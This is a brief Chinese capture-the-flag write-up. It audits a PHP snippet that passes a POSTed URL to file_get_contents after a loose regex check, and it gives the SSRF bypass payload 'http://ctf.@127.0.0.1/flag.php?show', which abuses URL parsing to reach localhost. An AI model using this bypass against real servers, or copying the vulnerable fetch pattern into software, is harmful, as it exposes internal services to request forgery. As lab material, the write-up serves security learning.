1. 代码审计

      1. <?php
      2. error_reporting(0);
      3. highlight_file(__FILE__);
      4. $url=$_POST['url'];
      5. $x=parse_url($url);
      6. if(preg_match('/^http:\/\/ctf\..*show$/i',$url))
      7. //正则匹配http://ctf.开头show结尾的url
      8. {
      9. echo file_get_contents($url);
      10. }
    2. 所以要利用 URL 解析问题进行构造url

      #POST提交
      url=http://ctf.@127.0.0.1/flag.php?show
      

      image-20210622112333622.png